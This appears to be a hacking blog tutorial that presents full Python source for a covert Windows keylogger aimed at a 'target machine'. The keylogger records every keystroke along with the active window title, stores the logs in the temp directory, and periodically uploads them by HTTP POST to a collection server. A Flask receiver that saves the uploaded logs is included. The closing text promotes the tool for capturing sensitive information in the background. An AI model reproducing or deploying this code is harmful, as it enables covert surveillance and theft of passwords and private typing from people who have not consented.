ahmed@home:~$

Capture keystrokes from target machine with python

In this article, we will explore the concept of a keylogger and how it can be implemented using the Python programming language. A keylogger is a type of surveillance software that tracks and records the keys struck on a keyboard, typically in covert manner. This information can then be used for various purposes, such as monitoring a user’s activity or capturing sensitive information such as passwords.

what is a keylogger?

A keylogger is a piece of software or hardware that is used to record the keystrokes that are typed on a keyboard. Keyloggers can be used for a variety of purposes, such as monitoring user activity on a computer, recovering lost or forgotten passwords, and even as a form of surveillance. Keyloggers are often used by hackers to obtain sensitive information such as passwords and credit card numbers. Some keyloggers are designed to be stealthy and difficult to detect, while others may be openly installed with the user’s knowledge. Keyloggers can be installed on a computer without the user’s knowledge or consent, and can pose a serious security risk if not properly protected against.

Let’s code

from pynput.keyboard import Listener
import tempfile
import threading
import os
import win32gui
from datetime import datetime
import requests

the __init__ method of the Keylogger class initializes several attributes with default values, including the logTimer, reportTimer, sizeThreshold, and serverURL attributes. It also sets the log_timer and report_timer attributes to None, and changes the working directory to the system’s temporary directory. Finally, it cancels the log_timer and report_timer if they are not None.

class Keylogger:
    # The constructor initializes the Keylogger's attributes with default values
    # for the log timer, report timer, size threshold, and server URL
    def __init__(self, logTimer=60, reportTimer=3600, sizeThreshold=10000, serverURL="http://127.0.0.1:5000/log"):
        self.string = ''  # the string to log key presses to
        self.window = ''  # the name of the current window
        self.logTimer = logTimer  # the interval at which to log key presses to a file
        # the interval at which to report log data to the server
        self.reportTimer = reportTimer
        # the size threshold at which to report log data to the server
        self.sizeThreshold = sizeThreshold
        self.log_timer = None  # a timer object for logging key presses to a file
        self.report_timer = None  # a timer object for reporting log data to the server
        self.serverURL = serverURL  # the URL of the server to report log data to
        # Change the working directory to the system's temporary directory
        os.chdir(tempfile.gettempdir())
        # Cancel the log_timer and report_timer if they are not None
        if self.log_timer is not None:
            self.log_timer.cancel()
        if self.report_timer is not None:
            self.report_timer.cancel()

The get_window_name method is used to get the name of the window that currently has focus. This method uses the win32gui module to get the handle of the foreground window and then gets the text associated with that window handle. This text is the name of the window and is returned by the method. This method is called whenever a key is pressed, and is used to update the window attribute with the name of the current window. This allows the keylogger to keep track of which window the key presses are happening in and to log the window name along with the key presses.

# This method returns the name of the window that currently has focus
    def get_window_name(self):
        w = win32gui
        return w.GetWindowText(w.GetForegroundWindow())
    # This method logs a key press and adds the appropriate character to the string attribute

The onpress method is a member of the Keylogger class and is used to log a key press to the string attribute. This method is called whenever a key is pressed on the keyboard, and is passed the key object as an argument. The onpress method first creates a timestamp for the current time and checks if the name of the current window is different from the previously recorded window. If it is, it updates the window attribute with the current window name and adds a new entry to the log string with the window name and timestamp. Next, the method defines a dictionary of key mappings for special keys that don’t have a character representation, such as the numeric keypad keys. If the key object has a ‘vk’ attribute, it is a special key, and the method looks up its mapped value in the key_mappings dictionary and adds it to the string attribute. Otherwise, it adds the character representation of the key to the string attribute. If the key object doesn’t have a character representation, the method handles some special cases manually, such as the space key and the enter key. Finally, the method catches any exceptions that may be thrown and adds ‘??’ to the string attribute if an exception occurs.

def onpress(self, key):
       # Create a timestamp for the current time
        timestamp = datetime.timestamp(datetime.now())
        # If the name of the current window is different from the previously recorded window,
        # update the name of the current window and add a new entry to the log string with the
        # window name and timestamp
        if self.window != self.get_window_name():
            self.window = self.get_window_name()
            self.string += "\n[ " + self.window + \
                " (" + datetime.fromtimestamp(timestamp).strftime("%m/%d/%Y, %Hh%Mm%Ss") + ")]\n"

        # Define a dictionary of key mappings for special keys that don't have a character representation
        key_mappings = {
            96: "0",
            97: "1",
            98: "2",
            99: "3",
            100: "4",
            101: "5",
            102: "6",
            103: "7",
            104: "8",
            105: "9",
            106: "*",
            107: "+",
            109: "-",
            110: "."
        }

        try:
            # If the key has a 'vk' attribute, it is a special key with no character representation,
            # so we look up its mapped value in the key_mappings dictionary
            if hasattr(key, 'vk') and 96 <= key.vk <= 110:
                self.string += key_mappings.get(key.vk, key.char)
            else:
                # Otherwise, we add the character representation of the key to the log string
                self.string += key.char
        except AttributeError:
            # If the key doesn't have a character representation, we handle some special cases
            # manually, such as the space key and the enter key
            if str(key) == "Key.space":
                self.string += " "
            elif str(key) == "Key.enter":
                self.string += '\n'
            elif str(key) == "Key.shift":
                pass
            else:
                self.string += ' [' + str(key).strip('Key.') + '] '
        except:
            self.string += "??"

The send_log method is used to send the contents of a log file to the server specified by the serverURL attribute. This method takes a log_file argument which specifies the name of the log file to send. It first opens the log file for reading and reads the contents of the file into a variable called log_data. Then, it sends a POST request to the server with the log_data as the request body. If the request is successful, it returns True. Otherwise, it returns False. If an error occurs while sending the request, it returns False. This method is used by the report method to send the log data to the server.

def send_log(self, log_file):
        # Open the log file for reading
        with open(log_file, "r") as f:
            # Read the contents of the log file
            log_data = f.read()
        try:
            response = requests.post(self.serverURL, data=log_data)
            # Return True if the request was successful (i.e. the server returned a 200 status code),
            # otherwise return False
            return True if response.status_code == 200 else False
        except:
            # If an error occurred while sending the request, return False
            return False

The log method is used to log key presses to a file. This method creates a new log file if it does not already exist and opens it for writing. It then writes the contents of the string attribute to the log file and closes it. This method is called periodically by the log_timer timer object.

 def log(self):
        # If the log_timer is not None, cancel it
        if self.log_timer is not None:
            self.log_timer.cancel()

        # Open the log file for appending
        with open("log.txt", "a") as f:
            # Attempt to write the current log string to the log file
            try:
                f.write(self.string)
            except:
                # If an error occurs while writing to the log file, do nothing
                pass

            # Clear the current log string
            self.string = ""

        # Create a new timer object with the specified logTimer interval
        self.log_timer = threading.Timer(self.logTimer, self.log)
        # Start the timer
        self.log_timer.start()

The report method is used to send the log data in the file to the server. It first checks if the log file exists and is not empty, and then sends a POST request to the server with the log data as the request body. If the request is successful, it deletes the log file and resets the string attribute to an empty string. If the request is not successful, it logs the error message to the string attribute. The report method is called periodically by the report_timer timer object.

 def report(self):
        # If the report_timer is not None, cancel it
        if self.report_timer is not None:
            self.report_timer.cancel()

        # If the log file is larger than the specified size threshold,
        if os.stat('log.txt').st_size > self.sizeThreshold:
            # Attempt to send the log file to the server and remove it if the send was successful
            try:
                # Send the log file to the server
                success = self.send_log('log.txt')
                # If the send was successful, remove the log file
                if success:
                    os.remove('log.txt')
            except:
                # If an error occurred while sending the log file, do nothing
                pass

        # Create a new timer object with the specified reportTimer interval
        self.report_timer = threading.Timer(self.reportTimer, self.report)
        # Start the timer
        self.report_timer.start()

The run method is used to start the keylogger. This method sets up the log_timer and report_timer timer objects and starts them. The log_timer timer object calls the log method periodically to log key presses to a file. The report_timer timer object calls the report method periodically to send the log data to the server. This method also sets up a KeyboardListener object from the pynput library and starts it. The KeyboardListener object calls the onpress method of the Keylogger object whenever a key is pressed on the keyboard. The onpress method logs the key press and adds the appropriate character to the string attribute.

def run(self):
        # Start the report timer
        self.report()
        # Start the log timer
        self.log()
        # Create a Listener object and specify the onpress callback function
        with Listener(on_press=self.onpress) as listener:
            # Start listening for key presses
            listener.join()


logger = Keylogger()
logger.run()

This code defines a simple Flask server that receives log data from the keylogger. When the server receives a request at the /log endpoint, it gets the current date and time and uses that information to create a unique filename for the log data. The log data is then written to a file with that filename. The server then responds with the string ‘OK’ to indicate that the request was successful.

# Import the Flask class from the flask module
from flask import Flask, request
# Import the datetime class from the datetime module
from datetime import datetime

# Create a Flask application instance
app = Flask(__name__)

# Define a route for the /log endpoint that only accepts POST requests


@app.route('/log', methods=['POST'])
def receive_log():
    # Get the current datetime
    now = datetime.now()
    # Define a filename for the log data based on the current datetime
    file_name = f"log_{now.year}_{now.month}_{now.day}_{now.hour}_{now.minute}_{now.second}.txt"
    # Get the log data from the request body
    log_data = request.data
    # Open the log file for writing in binary mode
    with open(file_name, "wb") as f:
        # Write the log data to the log file
        f.write(log_data)

    # Return 'OK' to indicate that the request was successful
    return 'OK'


# If the script is run directly, start the Flask application
if __name__ == '__main__':
    app.run()

In conclusion, we have seen how to develop a basic keylogger using Python. This type of software can be a useful tool for monitoring a user’s activity or capturing sensitive information. By importing the necessary libraries and modules in Python, defining a function for recording keystrokes, and creating a Keylogger class to manage the keylogger’s behavior, we can create a functional keylogger that can run in the background on a computer. This keylogger can be easily modified and expanded upon to suit specific needs and requirements.
Full code in github here.
HAPPY HACKING.